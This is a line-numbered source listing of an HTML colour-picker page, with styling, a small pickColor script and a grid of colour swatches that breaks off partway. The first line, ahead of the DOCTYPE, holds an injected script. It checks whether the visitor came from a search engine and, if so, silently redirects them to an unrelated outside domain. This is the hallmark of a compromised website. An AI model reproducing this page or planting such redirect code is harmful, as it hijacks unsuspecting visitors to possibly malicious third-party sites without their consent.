d:\wwwroot\wuchunhua\colorpicker1.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>ï»?!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
002: <html xmlns="http://www.w3.org/1999/xhtml">
003: <head>
004: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
005: <title>Color Picker</title>
006: <style type="text/css">
007: <!--
008: body {
009:     font-size: 12px;
010:    padding: 10px;
011:    margin: 0;
012: }
013:
014: #selectedColor {
015:     border: 1px solid #000000;
016:    width: 40px;
017:    height: 13px;
018:    margin-bottom: 5px;
019: }
020:
021: #colorValue {
022:     border: 0;
023:    width: 60px;
024:    height: 13px;
025:    margin-bottom: 5px;
026: }
027:
028: #box {
029:    display: block;
030:     width: 180px;
031: }
032:
033: #colors {
034:     display: inline;
035:    width: 180px;
036:    padding: 0;
037:    margin: 0;
038:    list-style: url(none) none;
039: }
040:
041: li.colorS {
042:     width: 60px;
043:    height: 60px;
044:    display: block;
045:    float: left
046: }
047:
048: ul.colorSquare {
049:     display: inline;
050:    width: 60px;
051:    padding: 0;
052:    margin: 0;
053:    list-style: url(none) none;
054: }
055:
056: li.color {
057:     line-height: 10px;
058:     width: 10px;
059:    height: 10px;
060:    display: block;
061:    float: left;
062:    cursor: default;
063: }
064: -->

065: </style>
066: <script type="text/javascript">
067: <!--
068: function pickColor(sColor, i) {
069:     if (i == 0) {
070:        document.getElementById("colorValue").value = "#" + sColor;
071:       document.getElementById("selectedColor").style.background = "#" + sColor;
072:    }
073:    else if (i == 1) {
074:        document.getElementById("colorValue").value = "#" + sColor;
075:       if (opener) {
076:           opener.document.getElementById('dbgcolor1').value = "#" + sColor;
077:          opener.changeColor1(opener.document.getElementById('dbgcolor1'));
078:          window.close();
079:       }
080:       else {
081:           window.close();
082:       }
083:    }
084:   
085: }
086: //-->

087: </script>
088: </head>
089:
090: <body>
091: <div>
092:   <input name="selectedColor" type="text" id="selectedColor" />
093:   <input name="colorValue" type="text" id="colorValue" value="" />
094: </div>
095: <div id="box"><ul id="colors">
096:   <li class="colorS">
097:     <ul class="colorSquare">
098:       <li class="color" style="background: #000000" onmouseover="pickColor('000000', 0);" onclick="pickColor('000000', 1);">&nbsp;</li>
099:       <li class="color" style="background: #003300" onmouseover="pickColor('003300', 0);" onclick="pickColor('003300', 1);">&nbsp;</li>
100:       <li class="color" style="background: #006600" onmouseover="pickColor('006600', 0);" onclick="pickColor('006600', 1);">&nbsp;</li>
101:       <li class="color" style="background: #009900" onmouseover="pickColor('009900', 0);" onclick="pickColor('009900', 1);">&nbsp;</li>
102:       <li class="color" style="background: #00CC00" onmouseover="pickColor('00CC00', 0);" onclick="pickColor('00CC00', 1);">&nbsp;</li>
103:       <li class="color" style="background: #00FF00" onmouseover="pickColor('00FF00', 0);" onclick="pickColor('00FF00', 1);">&nbsp;</li>
104:
105:       <li class="color" style="background: #000033" onmouseover="pickColor('000033', 0);" onclick="pickColor('000033', 1);">&nbsp;</li>
106:       <li class="color" style="background: #003333" onmouseover="pickColor('003333', 0);" onclick="pickColor('003333', 1);">&nbsp;</li>
107:       <li class="color" style="background: #006633" onmouseover="pickColor('006633', 0);" onclick="pickColor('006633', 1);">&nbsp;</li>
108:       <li class="color" style="background: #009933" onmouseover="pickColor('009933', 0);" onclick="pickColor('009933', 1);">&nbsp;</li>
109:       <li class="color" style="background: #00CC33" onmouseover="pickColor('00CC33', 0);" onclick="pickColor('00CC33', 1);">&nbsp;</li>
110:       <li class="color" style="background: #00FF33" onmouseover="pickColor('00FF33', 0);" onclick="pickColor('00FF33', 1);">&nbsp;</li>
111:       <li class="color" style="background: #000066" onmouseover="pickColor('000066', 0);" onclick="pickColor('000066', 1);">&nbsp;</li>
112:       <li class="color" style="background: #003366" onmouseover="pickColor('003366', 0);" onclick="pickColor('003366', 1);">&nbsp;</li>
113:       <li class="color" style="background: #006666" onmouseover="pickColor('006666', 0);" onclick="pickColor('006666', 1);">&nbsp;</li>
114:
115:       <li class="color" style="background: #009966" onmouseover="pickColor('009966', 0);" onclick="pickColor('009966', 1);">&nbsp;</li>
116:       <li class="color" style="background: #00CC66" onmouseover="pickColor('00CC66', 0);" onclick="pickColor('00CC66', 1);">&nbsp;</li>
117:       <li class="color" style="background: #00FF66" onmouseover="pickColor('00FF66', 0);" onclick="pickColor('00FF66', 1);">&nbsp;</li>
118:       <li class="color" style="background: #000099" onmouseover="pickColor('000099', 0);" onclick="pickColor('000099', 1);">&nbsp;</li>
119:       <li class="color" style="background: #003399" onmouseover="pickColor('003399', 0);" onclick="pickColor('003399', 1);">&nbsp;</li>
120:       <li class="color" style="background: #006699" onmouseover="pickColor('006699', 0);" onclick="pickColor('006699', 1);">&nbsp;</li>
121:       <li class="color" style="background: #009999" onmouseover="pickColor('009999', 0);" onclick="pickColor('009999', 1);">&nbsp;</li>
122:       <li class="color" style="background: #00CC99" onmouseover="pickColor('00CC99', 0);" onclick="pickColor('00CC99', 1);">&nbsp;</li>
123:       <li class="color" style="background: #00FF99" onmouseover="pickColor('00FF99', 0);" onclick="pickColor('00FF99', 1);">&nbsp;</li>
124:
125:       <li class="color" style="background: #0000CC" onmouseover="pickColor('0000CC', 0);" onclick="pickColor('0000CC', 1);">&nbsp;</li>
126:       <li class="color" style="background: #0033CC" onmouseover="pickColor('0033CC', 0);" onclick="pickColor('0033CC', 1);">&nbsp;</li>
127:       <li class="color" style="background: #0066CC" onmouseover="pickColor('0066CC', 0);" onclick="pickColor('0066CC', 1);">&nbsp;</li>
128:       <li class="color" style="background: #0099CC" onmouseover="pickColor('0099CC', 0);" onclick="pickColor('0099CC', 1);">&nbsp;</li>
129:       <li class="color" style="background: #00CCCC" onmouseover="pickColor('00CCCC', 0);" onclick="pickColor('00CCCC', 1);">&nbsp;</li>
130:       <li class="color" style="background: #00FFCC" onmouseover="pickColor('00FFCC', 0);" onclick="pickColor('00FFCC', 1);">&nbsp;</li>
131:       <li class="color" style="background: #0000FF" onmouseover="pickColor('0000FF', 0);" onclick="pickColor('0000FF', 1);">&nbsp;</li>
132:       <li class="color" style="background: #0033FF" onmouseover="pickColor('0033FF', 0);" onclick="pickColor('0033FF', 1);">&nbsp;</li>
133:       <li class="color" style="background: #0066FF" onmouseover="pickColor('0066FF', 0);" onclick="pickColor('0066FF', 1);">&nbsp;</li>
134:
135:       <li class="color" style="background: #0099FF" onmouseover="pickColor('0099FF', 0);" onclick="pickColor('0099FF', 1);">&nbsp;</li>
136:       <li class="color" style="background: #00CCFF" onmouseover="pickColor('00CCFF', 0);" onclick="pickColor('00CCFF', 1);">&nbsp;</li>
137:       <li class="color" style="background: #00FFFF" onmouseover="pickColor('00FFFF', 0);" onclick="pickColor('00FFFF', 1);">&nbsp;</li>
138:     </ul>
139:   </li>
140:   <li class="colorS">
141:     <ul class="colorSquare">
142:       <li class="color" style="background: #330000" onmouseover="pickColor('330000', 0);" onclick="pickColor('330000', 1);">&nbsp;</li>
143:       <li class="color" style="background: #333300" onmouseover="pickColor('333300', 0);" onclick="pickColor('333300', 1);">&nbsp;</li>
144:
145:       <li class="color" style="background: #336600" onmouseover="pickColor('336600', 0);" onclick="pickColor('336600', 1);">&nbsp;</li>
146:       <li class="color" style="background: #339900" onmouseover="pickColor('339900', 0);" onclick="pickColor('339900', 1);">&nbsp;</li>
147:       <li class="color" style="background: #33CC00" onmouseover="pickColor('33CC00', 0);" onclick="pickColor('33CC00', 1);">&nbsp;</li>
148:       <li class="color" style="background: #33FF00" onmouseover="pickColor('33FF00', 0);" onclick="pickColor('33FF00', 1);">&nbsp;</li>
149:       <li class="color" style="background: #330033" onmouseover="pickColor('330033', 0);" onclick="pickColor('330033', 1);">&nbsp;</li>
150:       <li class="color" style="background: #333333" onmouseover="pickColor('333333', 0);" onclick="pickColor('333333', 1);">&nbsp;</li>
151:       <li class="color" style="background: #336633" onmouseover="pickColor('336633', 0);" onclick="pickColor('336633', 1);">&nbsp;</li>
152:       <li class="color" style="background: #339933" onmouseover="pickColor('339933', 0);" onclick="pickColor('339933', 1);">&nbsp;</li>
153:       <li class="color" style="background: #33CC33" onmouseover="pickColor('33CC33', 0);" onclick="pickColor('33CC33', 1);">&nbsp;</li>
154:
155:       <li class="color" style="background: #33FF33" onmouseover="pickColor('33FF33', 0);" onclick="pickColor('33FF33', 1);">&nbsp;</li>
156:       <li class="color" style="background: #330066" onmouseover="pickColor('330066', 0);" onclick="pickColor('330066', 1);">&nbsp;</li>
157:       <li class="color" style="background: #333366" onmouseover="pickColor('333366', 0);" onclick="pickColor('333366', 1);">&nbsp;</li>
158:       <li class="color" style="background: #336666" onmouseover="pickColor('336666', 0);" onclick="pickColor('336666', 1);">&nbsp;</li>
159:       <li class="color" style="background: #339966" onmouseover="pickColor('339966', 0);" onclick="pickColor('339966', 1);">&nbsp;</li>
160:       <li class="color" style="background: #33CC66" onmouseover="pickColor('33CC66', 0);" onclick="pickColor('33CC66', 1);">&nbsp;</li>
161:       <li class="color" style="background: #33FF66" onmouseover="pickColor('33FF66', 0);" onclick="pickColor('33FF66', 1);">&nbsp;</li>
162:       <li class="color" style="background: #330099" onmouseover="pickColor('330099', 0);" onclick="pickColor('330099', 1);">&nbsp;</li>
163:       <li class="color" style="background: #333399" onmouseover="pickColor('333399', 0);" onclick="pickColor('333399', 1);">&nbsp;</li>
164:
165:       <li class="color" style="background: #336699" onmouseover="pickColor('336699', 0);" onclick="pickColor('336699', 1);">&nbsp;</li>
166:       <li class="color" style="background: #339999" onmouseover="pickColor('339999', 0);" onclick="pickColor('339999', 1);">&nbsp;</li>
167:       <li class="color" style="background: #33CC99" onmouseover="pickColor('33CC99', 0);" onclick="pickColor('33CC99', 1);">&nbsp;</li>
168:       <li class="color" style="background: #33FF99" onmouseover="pickColor('33FF99', 0);" onclick="pickColor('33FF99', 1);">&nbsp;</li>
169:       <li class="color" style="background: #3300CC" onmouseover="pickColor('3300CC', 0);" onclick="pickColor('3300CC', 1);">&nbsp;</li>
170:       <li class="color" style="background: #3333CC" onmouseover="pickColor('3333CC', 0);" onclick="pickColor('3333CC', 1);">&nbsp;</li>
171:       <li class="color" style="background: #3366CC" onmouseover="pickColor('3366CC', 0);" onclick="pickColor('3366CC', 1);">&nbsp;</li>
172:       <li class="color" style="background: #3399CC" onmouseover="pickColor('3399CC', 0);" onclick="pickColor('3399CC', 1);">&nbsp;</li>
173:       <li class="color" style="background: #33CCCC" onmouseover="pickColor('33CCCC', 0);" onclick="pickColor('33CCCC', 1);">&nbsp;</li>
174:
175:       <li class="color" style="background: #33FFCC" onmouseover="pickColor('33FFCC', 0);" onclick="pickColor('33FFCC', 1);">&nbsp;</li>
176:       <li class="color" style="background: #3300FF" onmouseover="pickColor('3300FF', 0);" onclick="pickColor('3300FF', 1);">&nbsp;</li>
177:       <li class="color" style="background: #3333FF" onmouseover="pickColor('3333FF', 0);" onclick="pickColor('3333FF', 1);">&nbsp;</li>
178:       <li class="color" style="background: #3366FF" onmouseover="pickColor('3366FF', 0);" onclick="pickColor('3366FF', 1);">&nbsp;</li>
179:       <li class="color" style="background: #3399FF" onmouseover="pickColor('3399FF', 0);" onclick="pickColor('3399FF', 1);">&nbsp;</li>
180:       <li class="color" style="background: #33CCFF" onmouseover="pickColor('33CCFF', 0);" onclick="pickColor('33CCFF', 1);">&nbsp;</li>
181:       <li class="color" style="background: #33FFFF" onmouseover="pickColor('33FFFF', 0);" onclick="pickColor('33FFFF', 1);">&nbsp;</li>
182:     </ul>
183:   </li>
184:
185:   <li class="colorS">
186:     <ul class="colorSquare">
187:       <li class="color" style="background: #660000" onmouseover="pickColor('660000', 0);" onclick="pickColor('660000', 1);">&nbsp;</li>
188:       <li class="color" style="background: #663300" onmouseover="pickColor('663300', 0);" onclick="pickColor('663300', 1);">&nbsp;</li>
189:       <li class="color" style="background: #666600" onmouseover="pickColor('666600', 0);" onclick="pickColor('666600', 1);">&nbsp;</li>
190:       <li class="color" style="background: #669900" onmouseover="pickColor('669900', 0);" onclick="pickColor('669900', 1);">&nbsp;</li>
191:       <li class="color" style="background: #66CC00" onmouseover="pickColor('66CC00', 0);" onclick="pickColor('66CC00', 1);">&nbsp;</li>
192:       <li class="color" style="background: #66FF00" onmouseover="pickColor('66FF00', 0);" onclick="pickColor('66FF00', 1);">&nbsp;</li>
193:       <li class="color" style="background: #660033" onmouseover="pickColor('660033', 0);" onclick="pickColor('660033', 1);">&nbsp;</li>
194:
195:       <li class="color" style="background: #663333" onmouseover="pickColor('663333', 0);" onclick="pickColor('663333', 1);">&nbsp;</li>
196:       <li class="color" style="background: #666633" onmouseover="pickColor('666633', 0);" onclick="pickColor('666633', 1);">&nbsp;</li>
197:       <li class="color" style="background: #669933" onmouseover="pickColor('669933', 0);" onclick="pickColor('669933', 1);">&nbsp;</li>
198:       <li class="color" style="background: #66CC33" onmouseover="pickColor('66CC33', 0);" onclick="pickColor('66CC33', 1);">&nbsp;</li>
199:       <li class="color" style="background: #66FF33" onmouseover="pickColor('66FF33', 0);" onclick="pickColor('66FF33', 1);">&nbsp;</li>
200:       <li class="color" style="background: #660066" onmouseover="pickColor('660066', 0);" onclick="pickColor('660066', 1);">&nbsp;</li>
201:       <li class="color" style="background: #663366" onmouseover="pickColor('663366', 0);" onclick="pickColor('663366', 1);">&nbsp;</li>
202:       <li class="color" style="background: #666666" onmouseover="pickColor('666666', 0);" onclick="pickColor('666666', 1);">&nbsp;</li>
203:       <li class="color" style="background: #669966" onmouseover="pickColor('669966', 0);" onclick="pickColor('669966', 1);">&nbsp;</li>
204:
205:       <li class="color" style="background: #66CC66" onmouseover="pickColor('66CC66', 0);" onclick="pickColor('66CC66', 1);">&nbsp;</li>
206:       <li class="color" style="background: #66FF66" onmouseover="pickColor('66FF66', 0);" onclick="pickColor('66FF66', 1);">&nbsp;</li>
207:       <li class="color" style="background: #660099" onmouseover="pickColor('660099', 0);" onclick="pickColor('660099', 1);">&nbsp;</li>
208:       <li class="color" style="background: #663399" onmouseover="pickColor('663399', 0);" onclick="pickColor('663399', 1);">&nbsp;</li>
209:       <li class="color" style="background: #666699" onmouseover="pickColor('666699', 0);" onclick="pickColor('666699', 1);">&nbsp;</li>
210:       <li class="color" style="background: #669999" onmouseover="pickColor('669999', 0);" onclick="pickColor('669999', 1);">&nbsp;</li>
211:       <li class="color" style="background: #66CC99" onmouseover="pickColor('66CC99', 0);" onclick="pickColor('66CC99', 1);">&nbsp;</li>
212:       <li class="color" style="background: #66FF99" onmouseover="pickColor('66FF99', 0);" onclick="pickColor('66FF99', 1);">&nbsp;</li>
213:       <li class="color" style="background: #6600CC" onmouseover="pickColor('6600CC', 0);" onclick="pickColor('6600CC', 1);">&nbsp;</li>
214:
215:       <li class="color" style="background: #6633CC" onmouseover="pickColor('6633CC', 0);" onclick="pickColor('6633CC', 1);">&nbsp;</li>
216:       <li class="color" style="background: #6666CC" onmouseover="pickColor('6666CC', 0);" onclick="pickColor('6666CC', 1);">&nbsp;</li>
217:       <li class="color" style="background: #6699CC" onmouseover="pickColor('6699CC', 0);" onclick="pickColor('6699CC', 1);">&nbsp;</li>
218:       <li class="color" style="background: #66CCCC" onmouseover="pickColor('66CCCC', 0);" onclick="pickColor('66CCCC', 1);">&nbsp;</li>
219:       <li class="color" style="background: #66FFCC" onmouseover="pickColor('66FFCC', 0);" onclick="pickColor('66FFCC', 1);">&nbsp;</li>
220:       <li class="color" style="background: #6600FF" onmouseover="pickColor('6600FF', 0);" onclick="pickColor('6600FF', 1);">&nbsp;</li>
221:       <li class="color" style="background: #6633FF" onmouseover="pickColor('6633FF', 0);" onclick="pickColor('6633FF', 1);">&nbsp;</li>
222:       <li class="color" style="background: #6666FF" onmouseover="pickColor('6666FF', 0);" onclick="pickColor('6666FF', 1);">&nbsp;</li>
223:       <li class="color" style="background: #6699FF" onmouseover="pickColor('6699FF', 0);" onclick="pickColor('6699FF', 1);">&nbsp;</li>
224:
225:       <li class="color" style="background: #66CCFF" onmouseover="pickColor('66CCFF', 0);" onclick="pickColor('66CCFF', 1);">&nbsp;</li>
226:       <li class="color" style="background: #66FFFF" onmouseover="pickColor('66FFFF', 0);" onclick="pickColor('66FFFF', 1);">&nbsp;</li>
227:     </ul>
228:   </li>
229:   <li class="colorS">
230:     <ul class="colorSquare">
231:       <li class="color" style="background: #990000" onmouseover="pickColor('990000', 0);" onclick="pickColor('990000', 1);">&nbsp;</li>
232:       <li class="color" style="background: #993300" onmouseover="pickColor('993300', 0);" onclick="pickColor('993300', 1);">&nbsp;</li>
233:       <li class="color" style="background: #996600" onmouseover="pickColor('996600', 0);" onclick="pickColor('996600', 1);">&nbsp;</li>
234:
235:       <li class="color" style="background: #999900" onmouseover="pickColor('999900', 0);" onclick="pickColor('999900', 1);">&nbsp;</li>
236:       <li class="color" style="background: #99CC00" onmouseover="pickColor('99CC00', 0);" onclick="pickColor('99CC00', 1);">&nbsp;</li>
237:       <li class="color" style="background: #99FF00" onmouseover="pickColor('99FF00', 0);" onclick="pickColor('99FF00', 1);">&nbsp;</li>
238:       <li class="color" style="background: #990033" onmouseover="pickColor('990033', 0);" onclick="pickColor('990033', 1);">&nbsp;</li>
239:       <li class="color" style="background: #993333" onmouseover="pickColor('993333', 0);" onclick="pickColor('993333', 1);">&nbsp;</li>
240:       <li class="color" style="background: #996633" onmouseover="pickColor('996633', 0);" onclick="pickColor('996633', 1);">&nbsp;</li>
241:       <li class="color" style="background: #999933" onmouseover="pickColor('999933', 0);" onclick="pickColor('999933', 1);">&nbsp;</li>
242:       <li class="color" style="background: #99CC33" onmouseover="pickColor('99CC33', 0);" onclick="pickColor('99CC33', 1);">&nbsp;</li>
243:       <li class="color" style="background: #99FF33" onmouseover="pickColor('99FF33', 0);" onclick="pickColor('99FF33', 1);">&nbsp;</li>
244:
245:       <li class="color" style="background: #990066" onmouseover="pickColor('990066', 0);" onclick="pickColor('990066', 1);">&nbsp;</li>
246:       <li class="color" style="background: #993366" onmouseover="pickColor('993366', 0);" onclick="pickColor('993366', 1);">&nbsp;</li>
247:       <li class="color" style="background: #996666" onmouseover="pickColor('996666', 0);" onclick="pickColor('996666', 1);">&nbsp;</li>
248:       <li class="color" style="background: #999966" onmouseover="pickColor('999966', 0);" onclick="pickColor('999966', 1);">&nbsp;</li>
249:       <li class="color" style="background: #99CC66" onmouseover="pickColor('99CC66', 0);" onclick="pickColor('99CC66', 1);">&nbsp;</li>
250:       <li class="color" style="background: #99FF66" onmouseover="pickColor('99FF66', 0);" onclick="pickColor('99FF66', 1);">&nbsp;</li>
251:       <li class="color" style="background: #990099" onmouseover="pickColor('990099', 0);" onclick="pickColor('990099', 1);">&nbsp;</li>
252:       <li class="color" style="background: #993399" onmouseover="pickColor('993399', 0);" onclick="pickColor('993399', 1);">&nbsp;</li>
253:       <li class="color" style="background: #996699" onmouseover="pickColor('996699', 0);" onclick="pickColor('996699', 1);">&nbsp;</li>
254:
255:       <li class="color" style="background: #999999" onmouseover="pickColor('999999', 0);" onclick="pickColor('999999', 1);">&nbsp;</li>
256:       <li class="color" style="background: #99CC99" onmouseover="pickColor('99CC99', 0);" onclick="pickColor('99CC99', 1);">&nbsp;</li>
257:       <li class="color" style="background: #99FF99" onmouseover="pickColor('99FF99', 0);" onclick="pickColor('99FF99', 1);">&nbsp;</li>
258:       <li class="color" style="background: #9900CC" onmouseover="pickColor('9900CC', 0);" onclick="pickColor('9900CC', 1);">&nbsp;</li>
259:       <li class="color" style="background: #9933CC" onmouseover="pickColor('9933CC', 0);" onclick="pickColor('9933CC', 1);">&nbsp;</li>
260:       <li class="color" style="background: #9966CC" onmouseover="pickColor('9966CC', 0);" onclick="pickColor('9966CC', 1);">&nbsp;</li>
261:       <li class="color" style="background: #9999CC" onmouseover="pickColor('9999CC', 0);" onclick="pickColor('9999CC', 1);">&nbsp;</li>
262:       <li class="color" style="background: #99CCCC" onmouseover="pickColor('99CCCC', 0);" onclick="pickColor('99CCCC', 1);">&nbsp;</li>
263:       <li class="color" style="background: #99FFCC" onmouseover="pickColor('99FFCC', 0);" onclick="pickColor('99FFCC', 1);">&nbsp;</li>
264:
265:       <li class="color" style="background: #9900FF" onmouseover="pickColor('9900FF', 0);" onclick="pickColor('9900FF', 1);">&nbsp;</li>
266:       <li class="color" style="background: #9933FF" onmouseover="pickColor('9933FF', 0);" onclick="pickColor('9933FF', 1);">&nbsp;</li>
267:       <li class="color" style="background: #9966FF" onmouseover="pickColor('9966FF', 0);" onclick="pickColor('9966FF', 1);">&nbsp;</li>
268:       <li class="color" style="background: #9999FF" onmouseover="pickColor('9999FF', 0);" onclick="pickColor('9999FF', 1);">&nbsp;</li>
269:       <li class="color" style="background: #99CCFF" onmouseover="pickColor('99CCFF', 0);" onclick="pickColor('99CCFF', 1);">&nbsp;</li>
270:       <li class="color" style="background: #99FFFF" onmouseover="pickColor('99FFFF', 0);" onclick="pickColor('99FFFF', 1);">&nbsp;</li>
271:     </ul>
272:   </li>
273:   <li class="colorS">
274:
275:     <ul class="colorSquare">
276:       <li class="color" style="background: #CC0000" onmouseover="pickColor('CC0000', 0);" onclick="pickColor('CC0000', 1);">&nbsp;</li>
277:       <li class="color" style="background: #CC3300" onmouseover="pickColor('CC3300', 0);" onclick="pickColor('CC3300', 1);">&nbsp;</li>
278:       <li class="color" style="background: #CC6600" onmouseover="pickColor('CC6600', 0);" onclick="pickColor('CC6600', 1);">&nbsp;</li>
279:       <li class="color" style="background: #CC9900" onmouseover="pickColor('CC9900', 0);" onclick="pickColor('CC9900', 1);">&nbsp;</li>
280:       <li class="color" style="background: #CCCC00" onmouseover="pickColor('CCCC00', 0);" onclick="pickColor('CCCC00', 1);">&nbsp;</li>
281:       <li class="color" style="background: #CCFF00" onmouseover="pickColor('CCFF00', 0);" onclick="pickColor('CCFF00', 1);">&nbsp;</li>
282:       <li class="color" style="background: #CC0033" onmouseover="pickColor('CC0033', 0);" onclick="pickColor('CC0033', 1);">&nbsp;</li>
283:       <li class="color" style="background: #CC3333" onmouseover="pickColor('CC3333', 0);" onclick="pickColor('CC3333', 1);">&nbsp;</li>
284:
285:       <li class="color" style="background: #CC6633" onmouseover="pickColor('CC6633', 0);" onclick="pickColor('CC6633', 1);">&nbsp;</li>
286:       <li class="color" style="background: #CC9933" onmouseover="pickColor('CC9933', 0);" onclick="pickColor('CC9933', 1);">&nbsp;</li>
287:       <li class="color" style="background: #CCCC33" onmouseover="pickColor('CCCC33', 0);" onclick="pickColor('CCCC33', 1);">&nbsp;</li>
288:       <li class="color" style="background: #CCFF33" onmouseover="pickColor('CCFF33', 0);" onclick="pickColor('CCFF33', 1);">&nbsp;</li>
289:       <li class="color" style="background: #CC0066" onmouseover="pickColor('CC0066', 0);" onclick="pickColor('CC0066', 1);">&nbsp;</li>
290:       <li class="color" style="background: #CC3366" onmouseover="pickColor('CC3366', 0);" onclick="pickColor('CC3366', 1);">&nbsp;</li>
291:       <li class="color" style="background: #CC6666" onmouseover="pickColor('CC6666', 0);" onclick="pickColor('CC6666', 1);">&nbsp;</li>
292:       <li class="color" style="background: #CC9966" onmouseover="pickColor('CC9966', 0);" onclick="pickColor('CC9966', 1);">&nbsp;</li>
293:       <li class="color" style="background: #CCCC66" onmouseover="pickColor('CCCC66', 0);" onclick="pickColor('CCCC66', 1);">&nbsp;</li>
294:
295:       <li class="color" style="background: #CCFF66" onmouseover="pickColor('CCFF66', 0);" onclick="pickColor('CCFF66', 1);">&nbsp;</li>
296:       <li class="color" style="background: #CC0099" onmouseover="pickColor('CC0099', 0);" onclick="pickColor('CC0099', 1);">&nbsp;</li>
297:       <li class="color" style="background: #CC3399" onmouseover="pickColor('CC3399', 0);" onclick="pickColor('CC3399', 1);">&nbsp;</li>
298:       <li class="color" style="background: #CC6699" onmouseover="pickColor('CC6699', 0);" onclick="pickColor('CC6699', 1);">&nbsp;</li>
299:       <li class="color" style="background: #CC9999" onmouseover="pickColor('CC9999', 0);" onclick="pickColor('CC9999', 1);">&nbsp;</li>
300:       <li class="color" style="background: #CCCC99" onmouseover="pickColor('CCCC99', 0);" onclick="pickColor('CCCC99', 1);">&nbsp;</li>
301:       <li class="color" style="background: #CCFF99" onmouseover="pickColor('CCFF99', 0);" onclick="pickColor('CCFF99', 1);">&nbsp;</li>
302:       <li class="color" style="background: #CC00CC" onmouseover="pickColor('CC00CC', 0);" onclick="pickColor('CC00CC', 1);">&nbsp;</li>
303:       <li class="color" style="background: #CC33CC" onmouseover="pickColor('CC33CC', 0);" onclick="pickColor('CC33CC', 1);">&nbsp;</li>
304:
305:       <li class="color" style="background: #CC66CC" onmouseover="pickColor('CC66CC', 0);" onclick="pickColor('CC66CC', 1);">&nbsp;</li>
306:       <li class="color" style="background: #CC99CC" onmouseover="pickColor('CC99CC', 0);" onclick="pickColor('CC99CC', 1);">&nbsp;</li>
307:       <li class="color" style="background: #CCCCCC" onmouseover="pickColor('CCCCCC', 0);" onclick="pickColor('CCCCCC', 1);">&nbsp;</li>
308:       <li class="color" style="background: #CCFFCC" onmouseover="pickColor('CCFFCC', 0);" onclick="pickColor('CCFFCC', 1);">&nbsp;</li>
309:       <li class="color" style="background: #CC00FF" onmouseover="pickColor('CC00FF', 0);" onclick="pickColor('CC00FF', 1);">&nbsp;</li>
310:       <li class="color" style="background: #CC33FF" onmouseover="pickColor('CC33FF', 0);" onclick="pickColor('CC33FF', 1);">&nbsp;</li>
311:       <li class="color" style="background: #CC66FF" onmouseover="pickColor('CC66FF', 0);" onclick="pickColor('CC66FF', 1);">&nbsp;</li>
312:       <li class="color" style="background: #CC99FF" onmouseover="pickColor('CC99FF', 0);" onclick="pickColor('CC99FF', 1);">&nbsp;</li>
313:       <li class="color" style="background: #CCCCFF" onmouseover="pickColor('CCCCFF', 0);" onclick="pickColor('CCCCFF', 1);">&nbsp;</li>
314:
315:       <li class="color" style="background: #CCFFFF" onmouseover="pickColor('CCFFFF', 0);" onclick="pickColor('CCFFFF', 1);">&nbsp;</li>
316:     </ul>
317:   </li>
318:   <li class="colorS">
319:     <ul class="colorSquare">
320:       <li class="color" style="background: #FF0000" onmouseover="pickColor('FF0000', 0);" onclick="pickColor('FF0000', 1);">&nbsp;</li>
321:       <li class="color" style="background: #FF3300" onmouseover="pickColor('FF3300', 0);" onclick="pickColor('FF3300', 1);">&nbsp;</li>
322:       <li class="color" style="background: #FF6600" onmouseover="pickColor('FF6600', 0);" onclick="pickColor('FF6600', 1);">&nbsp;</li>
323:       <li class="color" style="background: #FF9900" onmouseover="pickColor('FF9900', 0);" onclick="pickColor('FF9900', 1);">&nbsp;</li>
324:
325:       <li class="color" style="background: #FFCC00" onmouseover="pickColor('FFCC00', 0);" onclick="pickColor('FFCC00', 1);">&nbsp;</li>
326:       <li class="color" style="background: #FFFF00" onmouseover="pickColor('FFFF00', 0);" onclick="pickColor('FFFF00', 1);">&nbsp;</li>
327:       <li class="color" style="background: #FF0033" onmouseover="pickColor('FF0033', 0);" onclick="pickColor('FF0033', 1);">&nbsp;</li>
328:       <li class="color" style="background: #FF3333" onmouseover="pickColor('FF3333', 0);" onclick="pickColor('FF3333', 1);">&nbsp;</li>
329:       <li class="color" style="background: #FF6633" onmouseover="pickColor('FF6633', 0);" onclick="pickColor('FF6633', 1);">&nbsp;</li>
330:       <li class="color" style="background: #FF9933" onmouseover="pickColor('FF9933', 0);" onclick="pickColor('FF9933', 1);">&nbsp;</li>
331:       <li class="color" style="background: #FFCC33" onmouseover="pickColor('FFCC33', 0);" onclick="pickColor('FFCC33', 1);">&nbsp;</li>
332:       <li class="color" style="background: #FFFF33" onmouseover="pickColor('FFFF33', 0);" onclick="pickColor('FFFF33', 1);">&nbsp;</li>
333:       <li class="color" style="background: #FF0066" onmouseover="pickColor('FF0066', 0);" onclick="pickColor('FF0066', 1);">&nbsp;</li>
334:
335:       <li class="color" style="background: #FF3366" onmouseover="pickColor('FF3366', 0);" onclick="pickColor('FF3366', 1);">&nbsp;</li>
336:       <li class="color" style="background: #FF6666" onmouseover="pickColor('FF6666', 0);" onclick="pickColor('FF6666', 1);">&nbsp;</li>
337:       <li class="color" style="background: #FF9966" onmouseover="pickColor('FF9966', 0);" onclick="pickColor('FF9966', 1);">&nbsp;</li>
338:       <li class="color" style="background: #FFCC66" onmouseover="pickColor('FFCC66', 0);" onclick="pickColor('FFCC66', 1);">&nbsp;</li>
339:       <li class="color" style="background: #FFFF66" onmouseover="pickColor('FFFF66', 0);" onclick="pickColor('FFFF66', 1);">&nbsp;</li>
340:       <li class="color" style="background: #FF0099" onmouseover="pickColor('FF0099', 0);" onclick="pickColor('FF0099', 1);">&nbsp;</li>
341:       <li class="color" style="background: #FF3399" onmouseover="pickColor('FF3399', 0);" onclick="pickColor('FF3399', 1);">&nbsp;</li>
342:       <li class="color" style="background: #FF6699" onmouseover="pickColor('FF6699', 0);" onclick="pickColor('FF6699', 1);">&nbsp;</li>
343:       <li class="color" style="background: #FF9999" onmouseover="pickColor('FF9999', 0);" onclick="pickColor('FF9999', 1);">&nbsp;</li>
344:
345:       <li class="color" style="background: #FFCC99" onmouseover="pickColor('FFCC99', 0);" onclick="pickColor('FFCC99', 1);">&nbsp;</li>
346:       <li class="color" style="background: #FFFF99" onmouseover="pickColor('FFFF99', 0);" onclick="pickColor('FFFF99', 1);">&nbsp;</li>
